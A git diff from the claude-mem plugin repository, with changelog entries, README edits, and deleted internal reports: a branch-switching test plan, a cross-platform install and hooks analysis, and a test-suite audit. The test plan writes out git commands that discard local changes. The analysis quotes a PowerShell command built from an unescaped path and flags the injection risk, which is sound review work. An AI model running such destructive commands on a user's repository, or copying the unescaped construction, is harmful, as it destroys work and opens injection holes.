- **Windows**: Uses PowerShell `Start-Process -WindowStyle Hidden` to properly hide worker process
- **Security**: Added PowerShell string escaping to follow security best practices
- **Unix/Mac**: No changes (continues to work as before)
### Root Cause
The issue was caused by a Node.js limitation where `windowsHide: true` doesn't work with `detached: true` in `child_process.spawn()`. This affects both Bun and Node.js since Bun inherits Node.js process spawning semantics.
See: https://github.com/nodejs/node/issues/21825
### Security Note
While all paths in the PowerShell command are application-controlled (not user input), we've added proper escaping to follow security best practices. If an attacker could modify bun installation paths or plugin directories, they would already have full filesystem access including the database.
### Related
- Fixes #304 (Multiple visible console windows)
- Merged PR #339
- Testing documented in PR #315
### Breaking Changes
None - fully backward compatible.
---
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v7.3.1...v7.3.2
## [7.3.1] - 2025-12-16
## 🐛 Bug Fixes
### Pending Messages Cleanup (Issue #353)
Fixed unbounded database growth in the `pending_messages` table by implementing proper cleanup logic:
- **Content Clearing**: `markProcessed()` now clears `tool_input` and `tool_response` when marking messages as processed, preventing duplicate storage of transcript data that's already saved in observations
- **Count-Based Retention**: `cleanupProcessed()` now keeps only the 100 most recent processed messages for UI display, deleting older ones automatically
- **Automatic Cleanup**: Cleanup runs automatically after processing messages in `SDKAgent.processSDKResponse()`
### What This Fixes
- Prevents database from growing unbounded with duplicate transcript content
- Keeps metadata (tool_name, status, timestamps) for recent messages
- Maintains UI functionality while optimizing storage
### Technical Details
**Files Modified:**
- `src/services/sqlite/PendingMessageStore.ts` - Cleanup logic implementation
- `src/services/worker/SDKAgent.ts` - Periodic cleanup calls
**Database Behavior:**
- Pending/processing messages: Keep full transcript data (needed for processing)
- Processed messages: Clear transcript, keep metadata only (observations already saved)
- Retention: Last 100 processed messages for UI feedback
### Related
- Fixes #353 - Observations not being saved
- Part of the pending messages persistence feature (from PR #335)
---
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v7.3.0...v7.3.1
## [7.3.0] - 2025-12-16
## Features
- **Table-based search output**: Unified timeline formatting with cleaner, more organized presentation of search results grouped by date and file
- **Simplified API**: Removed unused format parameter from MCP search tools for cleaner interface
- **Shared formatting utilities**: Extracted common timeline formatting logic into reusable module
- **Batch observations endpoint**: Added `/api/observations/batch` endpoint for efficient retrieval of multiple observations by ID array
## Changes
- **Default model upgrade**: Changed default model from Haiku to Sonnet for better observation quality
- **Removed fake URIs**: Replaced claude-mem:// pseudo-protocol with actual HTTP API endpoints for citations
## Bug Fixes
- Fixed undefined debug function calls in MCP server
- Fixed skillPath variable scoping bug in instructions endpoint
- Extracted magic numbers to named constants for better code maintainability
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v7.2.4...v7.3.0
## [7.2.4] - 2025-12-15
## What's Changed
### Documentation
- Updated endless mode setup instructions with improved configuration guidance for better user experience
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v7.2.3...v7.2.4
## [7.2.3] - 2025-12-15
## Bug Fixes
- **Fix MCP server failures on plugin updates**: Add 2-second pre-restart delay in `ensureWorkerVersionMatches()` to give files time to sync before killing the old worker. This prevents the race condition where the worker restart happened too quickly after plugin file updates, causing "Worker service connection failed" errors.
## Changes
- Add `PRE_RESTART_SETTLE_DELAY` constant (2000ms) to `hook-constants.ts`
- Add delay before `ProcessManager.restart()` call in `worker-utils.ts`
- Fix pre-existing bug where `port` variable was undefined in error logging
## [7.2.2] - 2025-12-15
## Changes
- **Refactor:** Consolidate mem-search skill, remove desktop-skill duplication
- Delete separate `desktop-skill/` directory (was outdated)
- Generate `mem-search.zip` during build from `plugin/skills/mem-search/`
- Update docs with correct MCP tool list and new download path
- Single source of truth for Claude Desktop skill
## [7.2.1] - 2025-12-14
## Translation Script Enhancements
@@ -2418,12 +2531,12 @@ None (patch version)
## [4.3.0] - 2025-10-25
## What's Changed
* feat: Enhanced context hook with session observations and cross-platform improvements by @thedotmack in https://github.com/thedotmack/claude-mem/pull/25
## New Contributors
* @thedotmack made their first contribution in https://github.com/thedotmack/claude-mem/pull/25
## What's Changed
* feat: Enhanced context hook with session observations and cross-platform improvements by @thedotmack in https://github.com/thedotmack/claude-mem/pull/25
## New Contributors
* @thedotmack made their first contribution in https://github.com/thedotmack/claude-mem/pull/25
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v4.2.11...v4.3.0
## [4.2.10] - 2025-10-25
+24
View File
@@ -76,3 +76,27 @@ Settings are managed in `~/.claude-mem/settings.json`. The file is auto-created
**Public Docs**: https://docs.claude-mem.ai (Mintlify)
**Source**: `docs/public/` - MDX files, edit `docs.json` for navigation
**Deploy**: Auto-deploys from GitHub on push to main
## Pro Features Architecture
Claude-mem is designed with a clean separation between open-source core functionality and optional Pro features.
**Open-Source Core** (this repository):
- All worker API endpoints on localhost:37777 remain fully open and accessible
- Pro features are headless - no proprietary UI elements in this codebase
- Pro integration points are minimal: settings for license keys, tunnel provisioning logic
- The architecture ensures Pro features extend rather than replace core functionality
**Pro Features** (coming soon, external):
- Enhanced UI (Memory Stream) connects to the same localhost:37777 endpoints as the open viewer
- Additional features like advanced filtering, timeline scrubbing, and search tools
- Access gated by license validation, not by modifying core endpoints
- Users without Pro licenses continue using the full open-source viewer UI without limitation
This architecture preserves the open-source nature of the project while enabling sustainable development through optional paid features.
# Important
No need to edit the changelog ever, it's generated automatically.
+13 -8
View File
@@ -79,7 +79,7 @@ Restart Claude Code. Context from previous sessions will automatically appear in
- 🧠 **Persistent Memory** - Context survives across sessions
- 📊 **Progressive Disclosure** - Layered memory retrieval with token cost visibility
- 🔍 **Skill-Based Search** - Query your project history with mem-search skill (~2,250 token savings)
- 🔍 **Skill-Based Search** - Query your project history with mem-search skill
- 🖥️ **Web Viewer UI** - Real-time memory stream at http://localhost:37777
- 💻 **Claude Desktop Skill** - Search memory from Claude Desktop conversations
- 🔒 **Privacy Control** - Use `<private>` tags to exclude sensitive content from storage
@@ -97,7 +97,7 @@ Restart Claude Code. Context from previous sessions will automatically appear in
💻 **Local Preview**: Run Mintlify docs locally:
```bash
cd docs
cd docs/public
npx mintlify dev
```
@@ -161,7 +161,7 @@ npx mintlify dev
2. **Smart Install** - Cached dependency checker (pre-hook script, not a lifecycle hook)
3. **Worker Service** - HTTP API on port 37777 with web viewer UI and 10 search endpoints, managed by Bun
4. **SQLite Database** - Stores sessions, observations, summaries with FTS5 full-text search
5. **mem-search Skill** - Natural language queries with progressive disclosure (~2,250 token savings vs MCP)
5. **mem-search Skill** - Natural language queries with progressive disclosure
6. **Chroma Vector Database** - Hybrid semantic + keyword search for intelligent context retrieval
See [Architecture Overview](https://docs.claude-mem.ai/architecture/overview) for details.
@@ -175,7 +175,6 @@ Claude-Mem provides intelligent search through the mem-search skill that auto-in
**How It Works:**
- Just ask naturally: *"What did we do last session?"* or *"Did we fix this bug before?"*
- Claude automatically invokes the mem-search skill to find relevant context
- ~2,250 token savings per session start vs MCP approach
**Available Search Operations:**
@@ -206,6 +205,8 @@ See [Search Tools Guide](https://docs.claude-mem.ai/usage/search-tools) for deta
## Beta Features & Endless Mode
> **Note**: Endless Mode is an **experimental feature in the beta branch only**. It is not included in the stable release you install via the marketplace. You must manually switch to the beta channel to try it, and it comes with significant caveats (see below).
Claude-Mem offers a **beta channel** with experimental features. Switch between stable and beta versions directly from the web viewer UI.
### How to Try Beta
@@ -230,13 +231,17 @@ Working Memory (Context): Compressed observations (~500 tokens each)
Archive Memory (Disk): Full tool outputs preserved for recall
```
**Expected Results**:
- ~95% token reduction in context window
- ~20x more tool uses before context exhaustion
**Projected Results** (based on theoretical modeling, not production measurements):
- Significant token reduction in context window
- More tool uses before context exhaustion
- Linear O(N) scaling instead of quadratic O(N²)
- Full transcripts preserved for perfect recall
**Caveats**: Adds latency (60-90s per tool for observation generation), still experimental.
**Important Caveats**:
- **Not in stable release** - You must switch to beta branch to use this feature
- **Still in development** - May have bugs, breaking changes, or incomplete functionality
- **Slower than standard mode** - Blocking observation generation adds latency to each tool use
- **Theoretical projections** - The efficiency claims above are based on simulations, not real-world production data
See [Beta Features Documentation](https://docs.claude-mem.ai/beta-features) for details.
File diff suppressed because it is too large Load Diff
-113
View File
@@ -1,113 +0,0 @@
# Branch Switching Test Plan: feature/bun-executable
## Overview
This document validates that switching to the `feature/bun-executable` branch will be seamless for users.
## Branch Switching Mechanism
When a user switches branches via the Settings UI:
1. **Branch Switch Request**: User selects `feature/bun-executable` from Settings UI
2. **Validation**: SettingsRoutes validates branch name against allowed list
3. **Git Operations**: BranchManager performs:
- Discard local changes (`git checkout -- .` and `git clean -fd`)
- Fetch from origin (`git fetch origin`)
- Checkout target branch (`git checkout feature/bun-executable`)
- Pull latest (`git pull origin feature/bun-executable`)
4. **Install Dependencies**:
- Clear install marker (`.install-version`)
- Run `npm install` (2 minute timeout)
5. **Worker Restart**: Worker process exits and PM2/supervisor restarts it
## Feature Branch Changes
The `feature/bun-executable` branch makes these key changes:
### Dependencies Removed
- `better-sqlite3` → Uses Bun's built-in SQLite
- `pm2` → Custom worker CLI with process management
- `@types/better-sqlite3`
### New Features
- Auto-installation of Bun runtime in smart-install.js
- Simplified worker management via worker-cli.js
- No native module compilation required (better-sqlite3 removed)
## Installation Validation
### Current Branch → feature/bun-executable
**Step 1: Branch Switch (BranchManager)**
```bash
git checkout feature/bun-executable
git pull origin feature/bun-executable
rm .install-version
npm install # ✅ Works - package.json is npm-compatible
```
**Step 2: First Hook Execution**
```bash
node plugin/scripts/context-hook.js
Calls smart-install.js
Checks if Bun installed → Auto-installs if missing
Runs: bun install (if needed)
```
**Step 3: Worker Management**
- Old: PM2 manages worker-service.cjs
- New: worker-cli.js manages worker as background process
- Transition: Automatic on first worker start command
## Seamless Installation Checklist
- [x] **Branch Validation**: `feature/bun-executable` added to allowedBranches list
- [x] **npm install Compatible**: Feature branch package.json works with npm
- [x] **No Breaking Changes**: No hooks that would fail on first run
- [x] **Auto-Install**: smart-install.js automatically installs Bun if missing
- [x] **Graceful Degradation**: Scripts fall back to node if Bun unavailable
- [x] **No Manual Steps**: User just clicks "Switch Branch" in UI
## Potential Issues & Mitigations
### Issue 1: Bun Not in PATH After Install
**Mitigation**: smart-install.js checks common Bun installation paths and provides clear instructions to user
### Issue 2: PM2 vs Worker CLI Transition
**Mitigation**: Old PM2 worker continues running, new worker CLI starts separately. User can manually stop old PM2 worker if needed.
### Issue 3: Windows Compatibility
**Mitigation**: Feature branch uses PowerShell installer for Windows, curl for Unix/macOS
## Test Results
### Unit Tests
```bash
✓ tests/branch-selector.test.ts (5 tests)
✓ should allow main branch
✓ should allow beta/7.0 branch
✓ should allow feature/bun-executable branch
✓ should reject invalid branch names
✓ should have exactly 3 allowed branches
```
### Integration Tests
```bash
✓ All existing tests pass (42 tests)
✓ No regressions introduced
✓ TypeScript compilation successful
```
## Conclusion
✅ **SEAMLESS INSTALLATION VALIDATED**
The installation process is seamless because:
1. Branch switching uses standard git operations
2. `npm install` works on feature branch
3. Bun auto-installs on first hook execution
4. No manual intervention required
5. Clear error messages if issues occur
6. Backward compatible with existing installations
-561
View File
@@ -1,561 +0,0 @@
# Claude-Mem Smart Install & Plugin Hooks - Comprehensive Analysis
**Generated:** 2025-12-09
**Scope:** Smart install system, all plugin hooks, cross-platform compatibility, error handling, edge cases
---
## Executive Summary
This report provides a comprehensive analysis of claude-mem's smart install system and plugin hook infrastructure. The analysis focuses on cross-platform compatibility, error handling patterns, artificial blockers, and edge case handling.
**Key Findings:**
- ✅ Overall architecture is well-designed with clear separation of concerns
- ⚠️ Multiple cross-platform compatibility issues identified
- ⚠️ Several silent failure patterns that hinder debugging
- ⚠️ Artificial blockers that could prevent legitimate use cases
- ⚠️ Inconsistent timeout values across different components
- ✅ No nested try-catch anti-patterns found
---
## Architecture Overview
### Smart Install System Flow
```
User Invokes Hook
ensureWorkerRunning() [worker-utils.ts]
isWorkerHealthy() → fetch /health endpoint
├─ [HEALTHY] → Continue
└─ [UNHEALTHY] → startWorker()
├─ [Windows] → PowerShell Start-Process (hidden window)
└─ [Unix] → Bun start ecosystem.config.cjs
Wait for health check (15 retries × 1000ms)
├─ [SUCCESS] → Continue
└─ [FAILURE] → Throw error with manual recovery instructions
```
### Plugin Hook Lifecycle
1. **SessionStart** (context-hook.ts + user-message-hook.ts)
- context-hook: Fetches context via HTTP/curl
- user-message-hook: Displays context to user via stderr
2. **UserPromptSubmit** (new-hook.ts)
- Creates/retrieves SDK session
- Strips privacy tags from prompt
- Initializes session via HTTP
3. **PostToolUse** (save-hook.ts)
- Filters skipped tools
- Sends observation to worker via HTTP
4. **Stop** (summary-hook.ts)
- Parses transcript JSONL
- Extracts last user/assistant messages
- Requests summary generation via HTTP
5. **SessionEnd** (cleanup-hook.ts)
- Marks session complete
- Fire-and-forget HTTP request
---
## Cross-Platform Compatibility Issues
### 🔴 CRITICAL: curl Dependency (context-hook.ts)
**Location:** `src/hooks/context-hook.ts:32`
```typescript
const result = execSync(`curl -s "${url}"`, { encoding: "utf-8", timeout: 5000 });
```
**Issues:**
1. **Windows Compatibility:** curl is not guaranteed to be available on Windows systems (though included in Windows 10 1803+, it may be missing on older systems or custom installations)
2. **Error Handling:** No try-catch around execSync - will throw unhandled exception if curl fails
3. **Redundancy:** Uses curl when JavaScript's native `fetch` is already used everywhere else in the codebase
**Impact:** High - SessionStart hook will crash if curl is unavailable or returns non-zero exit code
**Edge Cases:**
- Corporate proxies blocking curl
- Systems without curl in PATH
- curl returning non-zero exit with valid output (warnings, etc.)
**Recommendation:**
```typescript
// Replace curl with fetch (already used in user-message-hook.ts)
const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
const result = await response.text();
```
---
### 🟡 MEDIUM: Platform-Specific Process Spawning (worker-utils.ts)
**Location:** `src/shared/worker-utils.ts:55-93`
**Windows Implementation:**
```typescript
spawnSync('powershell.exe', [
'-NoProfile',
'-NonInteractive',
'-Command',
`Start-Process -FilePath 'node' -ArgumentList '${workerScript}' -WorkingDirectory '${MARKETPLACE_ROOT}' -WindowStyle Hidden`
])
```
**Issues:**
1. **PowerShell Dependency:** Assumes PowerShell is available and in PATH
2. **Command Injection Risk:** Worker script path inserted directly into command string without escaping
3. **Process Monitoring:** Windows approach launches detached process with no Bun monitoring - harder to debug/restart
4. **Health Check Timeout:** Comment says "Windows needs longer timeouts" but timeout is same for all platforms (500ms)
**Edge Cases:**
- Windows systems with PowerShell execution policy restrictions
- Paths containing single quotes or special characters
- Windows subsystem for Linux (WSL) environments
- Wine/Proton compatibility layers
**Unix Implementation:**
```typescript
const localBunBase = path.join(MARKETPLACE_ROOT, 'node_modules', '.bin', 'bun');
const bunCommand = existsSync(localBunBase) ? localBunBase : 'bun';
```
**Issues:**
1. **Bun Dependency:** Falls back to global bun if local not found, but doesn't verify it exists
2. **Silent Failure:** If Bun not installed globally, spawnSync will fail with cryptic ENOENT error
**Recommendation:**
- Add bun existence check before spawn
- Implement consistent process monitoring across platforms
- Add path escaping for Windows command construction
- Actually implement longer timeout for Windows if needed
---
### 🟡 MEDIUM: Git Dependency (paths.ts)
**Location:** `src/shared/paths.ts:89-97`
```typescript
export function getCurrentProjectName(): string {
try {
const gitRoot = execSync('git rev-parse --show-toplevel', {
cwd: process.cwd(),
encoding: 'utf8',
stdio: ['pipe', 'pipe', 'ignore']
}).trim();
return basename(gitRoot);
} catch {
return basename(process.cwd());
}
}
```
**Issues:**
1. **Git Assumption:** Assumes git is installed and available in PATH
2. **Non-Git Projects:** Silently falls back to cwd basename, but this behavior is undocumented
**Edge Cases:**
- Projects not using git
- Monorepos where cwd !== git root is desired
- Systems without git installed
**Status:** ✅ Already handled with fallback, but could benefit from debug logging
---
## Error Handling Analysis
### 🔴 CRITICAL: Silent Failures Without Logging
#### 1. Settings File Loading (early-settings.ts:20-28)
```typescript
try {
if (existsSync(SETTINGS_PATH)) {
const data = JSON.parse(readFileSync(SETTINGS_PATH, 'utf-8'));
const fileValue = data.env?.[key];
if (fileValue !== undefined) return fileValue;
}
} catch {
// Fail silently - fall through to env var
}
```
**Problem:**
- Invalid JSON in settings file fails silently
- File read permission errors fail silently
- Users have no way to know their settings file is being ignored
**Impact:** High - Users may think settings are applied when they're actually using defaults
**Recommendation:**
```typescript
} catch (error) {
logger.warn('SETTINGS', 'Failed to load settings file', { path: SETTINGS_PATH }, error);
}
```
---
#### 2. Worker Startup Failure (worker-utils.ts:104-107)
```typescript
try {
// ... worker startup logic ...
} catch (error) {
// Failed to start worker
return false;
}
```
**Problem:**
- Catches ALL errors during worker startup
- Returns boolean with no information about what failed
- User only gets generic error after all retries exhausted
**Impact:** High - Makes debugging worker startup issues extremely difficult
**Recommendation:**
```typescript
} catch (error) {
logger.error('WORKER', 'Failed to start worker', {}, error as Error);
return false;
}
```
---
#### 3. Worker Health Check (worker-utils.ts:30-40)
```typescript
async function isWorkerHealthy(): Promise<boolean> {
try {
const port = getWorkerPort();
const response = await fetch(`http://127.0.0.1:${port}/health`, {
signal: AbortSignal.timeout(HEALTH_CHECK_TIMEOUT_MS)
});
return response.ok;
} catch {
return false;
}
}
```
**Problem:**
- Network errors, timeouts, and non-200 responses all indistinguishable
- No logging at all - completely silent
**Impact:** Medium - Hard to debug why health checks fail
**Recommendation:**
```typescript
} catch (error) {
logger.debug('WORKER', 'Health check failed', { port }, error);
return false;
}
```
---
#### 4. Tool Formatting (logger.ts:122-124)
```typescript
try {
const input = typeof toolInput === 'string' ? JSON.parse(toolInput) : toolInput;
// ...
} catch {
return toolName;
}
```
**Problem:**
- Invalid JSON in tool input fails silently
- Could mask data corruption issues
**Impact:** Low - Only affects log formatting
**Status:** ✅ Acceptable for log formatting, but could log at DEBUG level
---
### 🟢 GOOD: No Nested Try-Catch Anti-Patterns
Analysis confirmed zero instances of nested try-catch blocks. Error handling is consistently at single level per function.
---
## Artificial Blockers & Unnecessary Checks
### 🔴 CRITICAL: First-Run Detection (user-message-hook.ts:14-40)
```typescript
const nodeModulesPath = join(pluginDir, 'node_modules');
if (!existsSync(nodeModulesPath)) {
// Show first-time setup message
console.error(`...`);
process.exit(3);
}
```
**Problems:**
1. **False Positive:** Will trigger if user manually deletes node_modules (e.g., for troubleshooting)
2. **Installation Race:** Could fail if installation is still in progress
3. **Hook-Level Check:** Runs on EVERY SessionStart, not just actual first run
**Impact:** High - Prevents usage until node_modules exists, even if dependencies are installed elsewhere
**Edge Cases:**
- User runs `rm -rf node_modules` for troubleshooting
- Package manager installation interrupted
- Symlinked node_modules (some package managers)
**Recommendation:**
- Use a `.first-run-complete` marker file instead
- Move check to npm postinstall script
- Make check more robust (check for specific required modules)
---
### 🟡 MEDIUM: Overly Specific Validation (paths.ts:117-119)
```typescript
if (!existsSync(join(commandsDir, 'save.md'))) {
throw new Error('Package commands directory missing required files');
}
```
**Problem:**
- Checks for ONE specific file to validate entire directory
- Hardcoded filename could break if files reorganized
- Error message doesn't specify what's missing
**Impact:** Medium - Could prevent package from working after internal refactoring
**Recommendation:**
- Remove check entirely (let actual command invocation fail with better error)
- Or check all required files if validation is critical
---
### 🟡 MEDIUM: Duplicate Health Endpoints
**Locations:**
- `src/services/worker-service.ts:107` - `/api/health`
- `src/services/worker/http/routes/ViewerRoutes.ts:27` - `/health`
**Usage:**
- `worker-utils.ts` uses `/health`
- `mcp-server.ts` uses `/api/health`
**Problem:**
- Redundant endpoints doing the same thing
- Inconsistent usage across codebase
- Maintenance burden
**Impact:** Low - Both work, but creates confusion
**Recommendation:**
- Standardize on `/api/health` (follows REST convention)
- Remove `/health` endpoint
- Update worker-utils.ts to use `/api/health`
---
## Timeout Configuration Issues
### Inconsistent Timeouts Across Components
| Component | Timeout | Location | Purpose |
|-----------|---------|----------|---------|
| Health check | 500ms | worker-utils.ts:13 | Check if worker alive |
| Worker startup wait | 1000ms | worker-utils.ts:14 | Wait between health checks |
| Worker startup retries | 15x | worker-utils.ts:15 | Max retries (15s total) |
| Hook HTTP requests | 2000ms | cleanup-hook.ts:61, save-hook.ts:70, summary-hook.ts:164 | Send data to worker |
| New hook session init | 5000ms | new-hook.ts:129 | Initialize session |
| Context hook fetch | 5000ms | context-hook.ts:32 | Fetch context via curl |
| User message hook | 5000ms | user-message-hook.ts:52 | Fetch context display |
**Problems:**
1. **Health Check Too Aggressive:** 500ms may be too short for loaded systems or slow network
2. **No Platform Adjustment:** Comment says "Windows needs longer timeouts" but values are same
3. **Hook Timeout Variation:** Some hooks use 2s, others use 5s with no clear reasoning
**Recommendations:**
- Increase health check timeout to 1000ms minimum
- Actually implement longer timeouts for Windows
- Standardize hook timeouts to 5000ms across the board
- Make timeouts configurable via settings
---
## Edge Case Analysis
### Handled Well ✅
1. **JSONL Parsing:** summary-hook.ts continues on malformed lines (60-64, 117-121)
2. **Git Not Available:** paths.ts falls back to cwd basename (89-97)
3. **Settings File Missing:** early-settings.ts falls back to env vars and defaults (20-28)
4. **Privacy Tags:** new-hook.ts handles fully-private prompts (99-109)
5. **Tool Skipping:** save-hook.ts filters low-value tools (24-30)
### Missing Edge Case Handling ⚠️
1. **curl Failure:** context-hook.ts has no error handling for curl failures
2. **Bun Not Installed:** worker-utils.ts assumes bun exists globally
3. **PowerShell Restrictions:** worker-utils.ts doesn't check execution policy
4. **Concurrent Worker Starts:** No locking to prevent multiple hooks from starting worker simultaneously
5. **Port Already In Use:** No detection or recovery if worker port is taken
6. **Zombie Processes:** Windows approach doesn't track PIDs, can't detect/kill zombies
---
## Recommendations Summary
### High Priority 🔴
1. **Replace curl with fetch** in context-hook.ts
- Eliminates external dependency
- Consistent with rest of codebase
- Better error handling
2. **Add logging to silent failures**
- early-settings.ts: Log when settings file fails to load
- worker-utils.ts: Log startup failures with details
- worker-utils.ts: Log health check failures at debug level
3. **Fix first-run detection**
- Use marker file instead of node_modules check
- More reliable and intentional
### Medium Priority 🟡
4. **Verify Bun availability** before attempting to use it
- Check existence before spawn
- Provide clear error message if missing
5. **Implement platform-specific timeouts**
- Actually use longer timeouts on Windows as comment suggests
- Make timeouts configurable
6. **Standardize health endpoints**
- Remove duplicate `/health` endpoint
- Use `/api/health` everywhere
7. **Add path escaping** for Windows PowerShell commands
- Prevent injection issues
- Handle paths with special characters
### Low Priority 🟢
8. **Standardize HTTP timeouts** across all hooks
9. **Add concurrent startup protection** (locking mechanism)
10. **Improve error messages** with actionable recovery steps
---
## Testing Recommendations
### Cross-Platform Testing Needed
1. **Windows Environments:**
- Windows 10 (various versions)
- Windows 11
- Windows Server
- WSL/WSL2
- PowerShell execution policies (Restricted, RemoteSigned, Unrestricted)
2. **Unix Environments:**
- macOS (Intel + Apple Silicon)
- Linux (Ubuntu, Fedora, Arch)
- FreeBSD
3. **Edge Environments:**
- Docker containers
- CI/CD environments
- Systems without git installed
- Systems without curl (or with restricted curl)
- Corporate networks with proxies
- Low-spec systems (slow startup)
### Test Scenarios
1. **Cold Start:** First run with no existing data
2. **Corrupt Settings:** Invalid JSON in settings.json
3. **Missing Dependencies:** No Bun, no git, no curl
4. **Port Conflicts:** Worker port already in use
5. **Rapid Hook Invocations:** Multiple hooks trying to start worker simultaneously
6. **Permission Issues:** Read-only filesystem, restricted execution
7. **Network Issues:** Localhost blocked, slow network
---
## Code Quality Assessment
### Strengths ✅
- Clean separation of concerns (hooks → worker → database)
- No nested try-catch anti-patterns
- Consistent use of modern async/await
- Good use of TypeScript for type safety
- Idempotent database operations
- Clear documentation in critical sections
### Weaknesses ⚠️
- Silent failures hinder debugging
- Inconsistent error handling patterns
- Platform-specific code not fully tested/documented
- Timeout configuration hardcoded and inconsistent
- Some artificial blockers prevent legitimate use cases
### Technical Debt
- Duplicate health endpoints
- curl dependency when fetch available
- Bun dependency on Unix but not Windows (inconsistent monitoring)
- First-run detection using node_modules existence
- Hardcoded timeout values
---
## Conclusion
The claude-mem smart install and plugin hook system is architecturally sound with a well-designed separation of concerns. However, several cross-platform compatibility issues and silent failure patterns could cause problems in production, particularly on Windows systems or in edge case scenarios.
The highest priority improvements are:
1. Removing the curl dependency
2. Adding proper logging to silent failures
3. Fixing the fragile first-run detection
4. Verifying external dependencies before use
These changes would significantly improve debuggability and cross-platform reliability without requiring major architectural changes.
---
**Analysis Methodology:**
- Systematic review of all TypeScript source files
- Static analysis of error handling patterns
- Cross-platform compatibility assessment
- Edge case identification through code path analysis
- Comparison against best practices and KISS principles
**Files Analyzed:**
- src/hooks/*.ts (6 files)
- src/services/worker-service.ts
- src/services/worker/*.ts (10+ files)
- src/servers/mcp-server.ts
- src/shared/*.ts (worker-utils, early-settings, paths)
- src/utils/*.ts (logger, silent-debug, tag-stripping)
-386
View File
@@ -1,386 +0,0 @@
# Test Suite Audit Report
**Date:** 2025-12-13
**Auditor:** Code Quality Assurance Manager
**Focus:** Recent bugfixes and regression prevention
---
## Executive Summary
The test suite has **critical gaps** in error handling coverage. While happy path tests exist, **zero tests verify that recent bugfixes actually prevent regressions**. The fish shell PATH bug (Issue #264), silent hook failures (observation 25389), and ChromaSync error standardization (observation 25458) are all unprotected by tests.
**Risk Level:** HIGH - Recent bugfixes can silently regress without detection.
---
## Coverage Analysis
### What We Have ✅
1. **Happy Path Tests** (`tests/happy-paths/`) - 6 files
- Basic success scenarios work
- Tool capture, search, session init/cleanup
- Good foundation but insufficient
2. **Unit Tests**
- `bun-path.test.ts` - Tests PATH resolution logic
- `parser.test.ts` - SDK parser validation
- `strip-memory-tags.test.ts` - Privacy tag handling
3. **Integration Test** (`full-lifecycle.test.ts`)
- ONE error recovery test (too shallow)
- Mostly happy paths
- All tests mock `fetch()` - never test real failures
### What's Missing ❌
## 1. Silent Hook Failures (CRITICAL GAP)
**Issue:** Multiple hooks had no error logging until recently fixed
**Fixed In:**
- `save-hook.ts` (observation 25389) - Added `handleFetchError`/`handleWorkerError`
- `new-hook.ts` - Added error handlers
- `context-hook.ts` - Added error handlers
**Test Gap:** ZERO tests verify hooks actually log errors when they fail
**Created:** `/Users/alexnewman/Scripts/claude-mem/tests/error-handling/hook-error-logging.test.ts`
**Tests:**
- `handleFetchError()` logs with full context (status, hook, operation, tool, port)
- `handleFetchError()` throws user-facing error with restart instructions
- `handleWorkerError()` handles timeout/connection errors
- Real hook scenarios (save-hook, new-hook, context-hook failures)
- Error message quality (actionable, includes next steps)
**Why This Matters:**
If someone refactors hooks and removes error handlers, the system will silently fail again. These tests catch that regression immediately.
---
## 2. ChromaSync Client Initialization (MEDIUM GAP)
**Issue:** Standardized error messages across all client checks (observation 25458)
**Code Locations:** ChromaSync.ts lines 140-145, 324-329, 504-509, 761-766
**Test Gap:** NO tests verify error messages are consistent or fire correctly
**Created:** `/Users/alexnewman/Scripts/claude-mem/tests/services/chroma-sync-errors.test.ts`
**Tests:**
- Calling methods before `ensureConnection()` throws correct message
- All error messages include project name
- Error messages are consistent across all 4 locations
- Fail-fast behavior (no silent retries)
- Error context preservation
**Why This Matters:**
Prevents "works on my machine" bugs where Chroma isn't properly initialized. Ensures all 4 error checks stay in sync during refactoring.
---
## 3. Fish Shell PATH Issues (PARTIAL COVERAGE)
**Issue:** Issue #264 - Hooks fail with fish shell because bun not in /bin/sh PATH
**Current Test:** `bun-path.test.ts` tests the utility function
**Gap:** Doesn't test the ACTUAL bug - hooks failing when bun not in PATH
**Created:** `/Users/alexnewman/Scripts/claude-mem/tests/integration/hook-execution-environments.test.ts`
**Tests:**
- Running hook when `bun` only in `~/.bun/bin/bun` (not in PATH)
- Hook finds bun from common install locations
- Cross-platform bun resolution (macOS, Linux, Windows)
- Fish shell with custom PATH
- Zsh with homebrew in non-standard location
- Error messages include PATH diagnostic info
**Why This Matters:**
Fish shell users (and anyone with non-standard PATH) will get "command not found" errors if this regresses. Test ensures hooks work regardless of shell.
---
## 4. General Error Handling Patterns (CRITICAL GAP)
**Issue:** "264 silent failure locations" - widespread lack of error handling
**Current State:** Recent fixes added standardized error handlers
**Test Gap:** No systematic tests for error handling patterns
**Covered By:** `/Users/alexnewman/Scripts/claude-mem/tests/error-handling/hook-error-logging.test.ts`
**Why This Matters:**
If new hooks are added without using `handleFetchError`/`handleWorkerError`, they'll fail silently. Tests enforce the pattern.
---
## 5. Integration Test Weaknesses
**Current Test:** `full-lifecycle.test.ts` has ONE error recovery test (lines 292-352)
**Issues:**
- Too shallow - just checks second request succeeds after first fails
- Doesn't verify error logging
- Never tests real worker failures (all mocked)
**Needs:**
```
/tests/integration/hook-failures.test.ts
```
Should test:
- Worker crashes mid-session - hooks fail gracefully
- Worker returns 500 error - hook logs and throws
- Worker times out - hook aborts with timeout message
- Worker returns malformed JSON - hook handles parse error
---
## YAGNI Violations (Unnecessary Test Complexity)
### Problem: `/Users/alexnewman/Scripts/claude-mem/tests/happy-paths/search.test.ts`
**Lines 80-196:** Tests for features that DON'T EXIST:
1. **Line 80-107:** "supports filtering by observation type"
- Endpoint: `/api/search/by-type` - DOES NOT EXIST
2. **Line 109-136:** "supports filtering by concept tags"
- Endpoint: `/api/search/by-concept` - DOES NOT EXIST
3. **Line 138-168:** "supports pagination for large result sets"
- Includes `page`, `limit`, `offset` params - NOT IMPLEMENTED
4. **Line 170-196:** "supports date range filtering"
- `dateStart`, `dateEnd` params - NOT IMPLEMENTED
5. **Line 227-271:** "supports semantic search ranking"
- `orderBy=relevance` with relevance scores - NOT IMPLEMENTED
**Impact:** These tests are ALL PASSING because they mock `fetch()`. They create false confidence - making it look like features exist when they don't.
**Fix:** DELETE these tests until features actually exist. Write tests AFTER implementing features, not before.
**Philosophy Violation:** "Write the dumb, obvious thing first" - these tests violate YAGNI by testing features we don't need yet.
---
## KISS Violations (Overcomplicated Tests)
### Problem: Excessive Mocking
**Pattern Found:** 49 instances of `global.fetch = vi.fn()` across 8 test files
**Issue:** Every test mocks the worker, so tests never verify real integration
